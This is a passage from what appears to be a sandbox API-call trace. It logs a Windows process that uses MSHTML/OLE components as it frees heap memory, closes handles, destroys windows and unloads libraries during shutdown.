lpMem=0xfe4eb0 | out: hHeap=0xfb0000) returned 1 [0249.422] IUnknown:Release (This=0xfd100c) returned 0x4 [0249.422] LsDestroyContext () returned 0x0 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe86c0 | out: hHeap=0xfb0000) returned 1 [0249.422] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x101a0d8 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfea030 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x101a108 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014f00 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014d98 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xff8868 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1010e28 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014dc0 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014f78 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014c58 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1014b90 | out: hHeap=0xfb0000) returned 1 [0249.423] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe9298 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe6f18 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfea320 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfea448 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe96a0 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe97d8 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xffc640 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10292f0 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd06b0 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x100f1d8 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029a98 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1026b88 | out: hHeap=0xfb0000) returned 1 [0249.424] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029ce0 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029580 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029720 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x10297f0 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1026458 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029488 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029070 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1029988 | out: hHeap=0xfb0000) returned 1 [0249.425] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe8c20 | out: hHeap=0xfb0000) returned 1 [0249.425] GetCurrentThreadId () returned 0xe0 [0249.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1908 | out: lpSystemTimeAsFileTime=0x58d1908*(dwLowDateTime=0xaf521d8a, dwHighDateTime=0x1d4f110)) [0249.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1918 | out: lpSystemTimeAsFileTime=0x58d1918*(dwLowDateTime=0xaf521d8a, dwHighDateTime=0x1d4f110)) [0249.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1940 | out: lpSystemTimeAsFileTime=0x58d1940*(dwLowDateTime=0xaf5ba5a5, dwHighDateTime=0x1d4f110)) [0249.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1948 | out: lpSystemTimeAsFileTime=0x58d1948*(dwLowDateTime=0xaf5ba5a5, dwHighDateTime=0x1d4f110)) [0249.487] GetTickCount () returned 0x3db4e [0249.487] GetTickCount () returned 0x3db4e [0249.487] RtlInterlockedPopEntrySList (in: ListHead=0x58ca0a0 | out: ListHead=0x58ca0a0) returned 0x0 [0249.487] RtlInterlockedPopEntrySList (in: ListHead=0x58ca080 | out: ListHead=0x58ca080) returned 0x0 [0249.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1930 | out: lpSystemTimeAsFileTime=0x58d1930*(dwLowDateTime=0xaf5ba5a5, dwHighDateTime=0x1d4f110)) [0249.487] FileSystemObject:IUnknown:Release (This=0xd9c7b8) returned 0x0 [0249.488] free (_Block=0x58c8340) [0249.488] free (_Block=0xd9e370) [0249.488] free (_Block=0xd9b118) [0249.488] CloseHandle (hObject=0x4d0) returned 1 [0249.488] CloseHandle (hObject=0x4cc) returned 1 [0249.488] CloseHandle (hObject=0x4c8) returned 1 [0249.488] CloseHandle (hObject=0x4c4) returned 1 [0249.488] free (_Block=0x58d80c8) [0249.489] free (_Block=0x58c8308) [0249.489] free (_Block=0x58d9050) [0249.489] VirtualFree (lpAddress=0x67d0000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0249.490] free (_Block=0x58c82d0) [0249.490] free (_Block=0xd9e400) [0249.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1938 | out: lpSystemTimeAsFileTime=0x58d1938*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1940 | out: lpSystemTimeAsFileTime=0x58d1940*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1948 | out: lpSystemTimeAsFileTime=0x58d1948*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1950 | out: lpSystemTimeAsFileTime=0x58d1950*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1958 | out: lpSystemTimeAsFileTime=0x58d1958*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.490] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.490] IUnknown:Release (This=0xfd0530) returned 0x0 [0249.490] IUnknown:Release (This=0x4c20e04) returned 0x0 [0249.490] IUnknown:Release (This=0x7387f4d4) returned 0x7fff [0249.491] CoTaskMemFree (pv=0xfdb938) [0249.491] CoTaskMemFree (pv=0xfdb668) [0249.491] GetCurrentThreadId () returned 0xe0 [0249.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1908 | out: lpSystemTimeAsFileTime=0x58d1908*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1918 | out: lpSystemTimeAsFileTime=0x58d1918*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1940 | out: lpSystemTimeAsFileTime=0x58d1940*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1948 | out: lpSystemTimeAsFileTime=0x58d1948*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.491] free (_Block=0x58d8640) [0249.491] GetTickCount () returned 0x3db5d [0249.492] GetTickCount () returned 0x3db5d [0249.492] RtlInterlockedPopEntrySList (in: ListHead=0x58ca0a0 | out: ListHead=0x58ca0a0) returned 0x0 [0249.492] RtlInterlockedPopEntrySList (in: ListHead=0x58ca080 | out: ListHead=0x58ca080) returned 0x0 [0249.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1950 | out: lpSystemTimeAsFileTime=0x58d1950*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58d1958 | out: lpSystemTimeAsFileTime=0x58d1958*(dwLowDateTime=0xaf5e0939, dwHighDateTime=0x1d4f110)) [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd3dc8 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb960 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd93b0 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbd4d0 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0d98 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9230 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb708 | out: hHeap=0xfb0000) returned 1 [0249.492] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd93c8 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1590 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd16f0 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd15f0 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1710 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1430 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd16d0 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1410 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd16b0 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1790 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb898 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb870 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb820 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb848 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb730 | out: hHeap=0xfb0000) returned 1 [0249.493] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcfdc8 | out: hHeap=0xfb0000) returned 1 [0249.494] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfcfeb8 | out: hHeap=0xfb0000) returned 1 [0249.494] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdd928 | out: hHeap=0xfb0000) returned 1 [0249.495] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x1021070 | out: hHeap=0xfb0000) returned 1 [0249.495] IUnknown:Release (This=0xfd02b0) returned 0x0 [0249.495] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9350 | out: hHeap=0xfb0000) returned 1 [0249.495] UnregisterPowerSettingNotification (Handle=0xfcffa8) returned 1 [0249.496] SetWindowLongW (hWnd=0x60044, nIndex=-21, dwNewLong=0) returned 79725264 [0249.496] DestroyWindow (hWnd=0x60044) returned 1 [0249.496] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0249.496] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0249.497] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0249.497] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0249.497] GetWindowLongW (hWnd=0x60044, nIndex=-21) returned 0 [0249.497] NtdllDefWindowProc_W (hWnd=0x60044, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0249.499] UnregisterClassW (lpClassName=0xc16b, hInstance=0x0) returned 1 [0249.499] UnmapViewOfFile (lpBaseAddress=0x1300000) returned 1 [0249.499] CloseHandle (hObject=0x37c) returned 1 [0249.499] CloseHandle (hObject=0x378) returned 1 [0249.500] GetModuleHandleW (lpModuleName="OLEAUT32") returned 0x75bb0000 [0249.500] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0249.500] IInternetSession:UnregisterNameSpace (This=0xfd20f8, pCF=0x7376ba70, pszProtocol="res") returned 0x0 [0249.500] IUnknown:Release (This=0x7376ba70) returned 0x1 [0249.500] IInternetSession:UnregisterNameSpace (This=0xfd20f8, pCF=0x7376ba90, pszProtocol="about") returned 0x0 [0249.500] IUnknown:Release (This=0x7376ba90) returned 0x1 [0249.500] IInternetSession:UnregisterNameSpace (This=0xfd20f8, pCF=0x7376c164, pszProtocol="blob") returned 0x0 [0249.500] IUnknown:AddRef (This=0x7376c164) returned 0x1 [0249.500] IUnknown:Release (This=0xfd20f8) returned 0x1 [0249.500] SetEvent (hEvent=0x26c) returned 1 [0249.500] SetThreadPriority (hThread=0x288, nPriority=0) returned 1 [0249.500] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff9a8*=0x260, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.501] SetEvent (hEvent=0x274) returned 1 [0249.501] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff990*=0x270, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.502] CloseHandle (hObject=0x270) returned 1 [0249.503] CloseHandle (hObject=0x274) returned 1 [0249.503] CloseHandle (hObject=0x278) returned 1 [0249.503] SetEvent (hEvent=0x280) returned 1 [0249.503] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff990*=0x27c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.504] CloseHandle (hObject=0x27c) returned 1 [0249.504] CloseHandle (hObject=0x280) returned 1 [0249.504] CloseHandle (hObject=0x284) returned 1 [0249.504] CloseHandle (hObject=0x268) returned 1 [0249.504] CloseHandle (hObject=0x260) returned 1 [0249.504] CloseHandle (hObject=0x26c) returned 1 [0249.505] CloseHandle (hObject=0x288) returned 1 [0249.505] CloseHandle (hObject=0x264) returned 1 [0249.505] HeapFree (in: hHeap=0x4d60000, dwFlags=0x0, lpMem=0x4d72650 | out: hHeap=0x4d60000) returned 1 [0249.505] CloseHandle (hObject=0x254) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0c28 | out: hHeap=0xfb0000) returned 1 [0249.505] CloseHandle (hObject=0x250) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfc7270 | out: hHeap=0xfb0000) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdfd30 | out: hHeap=0xfb0000) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd4ee8 | out: hHeap=0xfb0000) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe45e8 | out: hHeap=0xfb0000) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd39e0 | out: hHeap=0xfb0000) returned 1 [0249.505] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdc0d8 | out: hHeap=0xfb0000) returned 1 [0249.506] CoTaskMemFree (pv=0x0) [0249.506] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9470 | out: hHeap=0xfb0000) returned 1 [0249.506] IUnknown:Release (This=0xfd03b0) returned 0x0 [0249.506] SetEvent (hEvent=0x374) returned 1 [0249.506] GetCurrentThreadId () returned 0xe0 [0249.506] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0x1388) returned 0x0 [0249.507] GetExitCodeThread (in: hThread=0x230, lpExitCode=0xcff944 | out: lpExitCode=0xcff944) returned 1 [0249.508] CloseHandle (hObject=0x374) returned 1 [0249.508] CloseHandle (hObject=0x230) returned 1 [0249.508] DeleteDC (hdc=0xa0010721) returned 1 [0249.508] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe0070 | out: hHeap=0xfb0000) returned 1 [0249.508] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdfc28 | out: hHeap=0xfb0000) returned 1 [0249.508] KillTimer (hWnd=0x3020e, uIDEvent=0x2008) returned 1 [0249.508] KillTimer (hWnd=0x3020e, uIDEvent=0x2004) returned 1 [0249.508] PeekMessageW (in: lpMsg=0xcff9a8, hWnd=0x3020e, wMsgFilterMin=0x8003, wMsgFilterMax=0x8003, wRemoveMsg=0x1 | out: lpMsg=0xcff9a8) returned 0 [0249.509] GetCurrentThreadId () returned 0xe0 [0249.509] DestroyWindow (hWnd=0x3020e) returned 1 [0249.509] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0249.509] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x46, wParam=0x0, lParam=0xcff96c) returned 0x0 [0249.511] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x47, wParam=0x0, lParam=0xcff96c) returned 0x0 [0249.511] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0249.511] NtdllDefWindowProc_W (hWnd=0x3020e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0249.512] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0x100f218 | out: hHeap=0xfb0000) returned 1 [0249.512] free (_Block=0x58d9bd0) [0249.512] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe6838 | out: hHeap=0xfb0000) returned 1 [0249.514] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe9a98 | out: hHeap=0xfb0000) returned 1 [0249.514] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4820 | out: hHeap=0xfb0000) returned 1 [0249.548] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfec6b0 | out: hHeap=0xfb0000) returned 1 [0249.549] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1570 | out: hHeap=0xfb0000) returned 1 [0249.549] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0249.549] CoDecrementMTAUsage (Cookie=0xfd0fb8) returned 0x0 [0249.549] SetEvent (hEvent=0x4f0) returned 1 [0249.553] GetCurrentThreadId () returned 0xe0 [0249.553] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x1388) returned 0x0 [0249.649] GetExitCodeThread (in: hThread=0x4f8, lpExitCode=0xcff9d4 | out: lpExitCode=0xcff9d4) returned 1 [0249.649] CloseHandle (hObject=0x4f0) returned 1 [0249.649] CloseHandle (hObject=0x4f4) returned 1 [0249.649] CloseHandle (hObject=0x4f8) returned 1 [0249.649] CActiveIMMAppEx_Trident:IUnknown:Release (This=0xfe5248) returned 0x0 [0249.650] ReleaseActCtx (in: hActCtx=0xfd27b4 | out: hActCtx=0xfd27b4) [0249.650] SetEvent (hEvent=0x380) returned 1 [0249.652] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0xffffffff) returned 0x0 [0249.652] CloseHandle (hObject=0x384) returned 1 [0249.652] CloseHandle (hObject=0x398) returned 1 [0249.652] CloseHandle (hObject=0x390) returned 1 [0249.652] UnmapViewOfFile (lpBaseAddress=0x1310000) returned 1 [0249.652] CloseHandle (hObject=0x380) returned 1 [0249.652] FreeLibrary (hLibModule=0x726c0000) returned 1 [0249.652] FreeLibrary (hLibModule=0x726c0000) returned 1 [0249.653] UnregisterClassW (lpClassName=0xc0f8, hInstance=0x726c0000) returned 1 [0249.653] UnregisterClassW (lpClassName=0xc0f5, hInstance=0x726c0000) returned 1 [0249.653] OleUninitialize () [0249.653] DestroyWindow (hWnd=0x5020c) returned 1 [0249.654] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0249.654] PostQuitMessage (nExitCode=0) [0249.707] DllCanUnloadNow () returned 0x0 [0249.707] NdrDllCanUnloadNow (pPSFactoryBuffer=0x71961e08) returned 0x0 [0249.707] SetEvent (hEvent=0x4b0) returned 1 [0249.707] SetThreadPriority (hThread=0x4b4, nPriority=0) returned 1 [0249.707] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff6cc*=0x4ac, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.708] CloseHandle (hObject=0x4a8) returned 1 [0249.708] CloseHandle (hObject=0x4ac) returned 1 [0249.708] CloseHandle (hObject=0x4b0) returned 1 [0249.708] SetEvent (hEvent=0x4b8) returned 1 [0249.708] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff698*=0x4bc, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.710] malloc (_Size=0x14) returned 0xd9c8b8 [0249.710] free (_Block=0xd9b100) [0249.710] free (_Block=0x58d50b0) [0249.710] free (_Block=0x58d5a98) [0249.710] free (_Block=0xd9cd10) [0249.710] free (_Block=0xd9eb50) [0249.710] VirtualFree (lpAddress=0x65c3000, dwSize=0x1000, dwFreeType=0x4000) returned 1 [0249.710] free (_Block=0x58c8148) [0249.710] free (_Block=0xd9a120) [0249.710] free (_Block=0xd9a1a8) [0249.710] free (_Block=0xd9a098) [0249.711] free (_Block=0xd99b48) [0249.711] free (_Block=0xd99bd0) [0249.711] free (_Block=0x58d9c38) [0249.711] free (_Block=0x58da948) [0249.711] free (_Block=0xd9ebd0) [0249.711] free (_Block=0x58d8200) [0249.711] free (_Block=0x58d7f60) [0249.711] free (_Block=0x58d9e68) [0249.711] free (_Block=0x58da9e8) [0249.711] free (_Block=0x58d96d0) [0249.711] free (_Block=0x58d9408) [0249.711] free (_Block=0x58d94a8) [0249.711] free (_Block=0x58d8840) [0249.711] free (_Block=0x58d9618) [0249.711] free (_Block=0x58d9ae8) [0249.711] free (_Block=0x58d8f20) [0249.711] free (_Block=0x58d9248) [0249.711] free (_Block=0x58d8c68) [0249.711] free (_Block=0x58d9558) [0249.711] free (_Block=0x58d9188) [0249.711] free (_Block=0x58d9770) [0249.711] free (_Block=0x58d8d38) [0249.711] free (_Block=0x58d7ff0) [0249.712] free (_Block=0x58d8e10) [0249.712] free (_Block=0x58d9308) [0249.712] free (_Block=0x58d9858) [0249.712] free (_Block=0xd9ec60) [0249.712] free (_Block=0x58d8b68) [0249.712] free (_Block=0x58d8a68) [0249.712] free (_Block=0x58d9958) [0249.712] free (_Block=0x58d8290) [0249.712] free (_Block=0x58d88e8) [0249.712] free (_Block=0x58d86c0) [0249.712] free (_Block=0x58d3748) [0249.712] free (_Block=0xd9b0b8) [0249.712] free (_Block=0x58dad98) [0249.712] free (_Block=0xd9b028) [0249.712] free (_Block=0x58dab28) [0249.712] free (_Block=0x58d2600) [0249.712] free (_Block=0x58d4ca0) [0249.712] free (_Block=0x58d4890) [0249.713] VirtualFree (lpAddress=0x6670000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.714] free (_Block=0x58c8110) [0249.714] free (_Block=0x58c9fe8) [0249.714] CloseHandle (hObject=0x4bc) returned 1 [0249.714] CloseHandle (hObject=0x4b8) returned 1 [0249.714] free (_Block=0x58d8148) [0249.715] free (_Block=0xd9e280) [0249.715] free (_Block=0xd9e2a8) [0249.715] Release () returned 0x2 [0249.715] Release () returned 0x1 [0249.715] FreeLibrary (hLibModule=0x75c50000) returned 1 [0249.715] FreeLibrary (hLibModule=0x75c50000) returned 1 [0249.715] VirtualFree (lpAddress=0x67d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.715] free (_Block=0x58c81b8) [0249.715] VirtualFree (lpAddress=0x65c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0249.716] free (_Block=0x58c8228) [0249.716] free (_Block=0xd9d030) [0249.716] free (_Block=0xd9b0d0) [0249.716] free (_Block=0xd9d020) [0249.716] malloc (_Size=0x14) returned 0xd9ca58 [0249.716] free (_Block=0xd9c8b8) [0249.716] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0xcff714*=0x4b4, bWaitAll=1, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0249.716] CloseHandle (hObject=0x4c0) returned 1 [0249.716] CloseHandle (hObject=0x4b4) returned 1 [0249.716] free (_Block=0xd9ca58) [0249.717] DllCanUnloadNow () returned 0x1 [0249.847] DeleteAtom (nAtom=0xc005) returned 0x0 [0249.847] EtwEventUnregister (RegHandle=0x101d340) returned 0x0 [0249.847] EtwEventUnregister (RegHandle=0x101df10) returned 0x0 [0249.847] EtwEventUnregister (RegHandle=0x101e0c0) returned 0x0 [0249.847] free (_Block=0xd9a340) [0249.999] NtdllDefWindowProc_W (hWnd=0x5020c, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0250.000] FreeLibrary (hLibModule=0x726c0000) returned 1 [0250.000] GetCurrentThreadId () returned 0xe0 [0250.000] EtwEventUnregister (RegHandle=0xfc0050) returned 0x0 [0250.000] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9440 | out: hHeap=0xfb0000) returned 1 [0250.000] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd13d0 | out: hHeap=0xfb0000) returned 1 [0250.001] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd3710 | out: hHeap=0xfb0000) returned 1 [0250.001] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb9b0 | out: hHeap=0xfb0000) returned 1 [0250.001] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd9398 | out: hHeap=0xfb0000) returned 1 [0250.001] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd1670 | out: hHeap=0xfb0000) returned 1 [0250.001] EtwEventUnregister (RegHandle=0xfc6418) returned 0x0 [0250.001] EtwEventUnregister (RegHandle=0xfc6190) returned 0x0 [0250.001] EtwEventUnregister (RegHandle=0xfc6850) returned 0x0 [0250.001] EtwEventUnregister (RegHandle=0xfc0200) returned 0x0 [0250.001] EtwEventUnregister (RegHandle=0xfc6340) returned 0x0 [0250.001] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000 [0250.001] DeleteAtom (nAtom=0xc000) returned 0x0 [0250.001] HeapDestroy (hHeap=0xd50000) returned 1 [0250.001] LocalFree (hMem=0x0) returned 0x0 [0250.002] GetModuleHandleW (lpModuleName="ntdll.dll") returned 0x77bb0000 [0250.002] GetProcAddress (hModule=0x77bb0000, lpProcName="RtlDllShutdownInProgress") returned 0x77bdbbe0 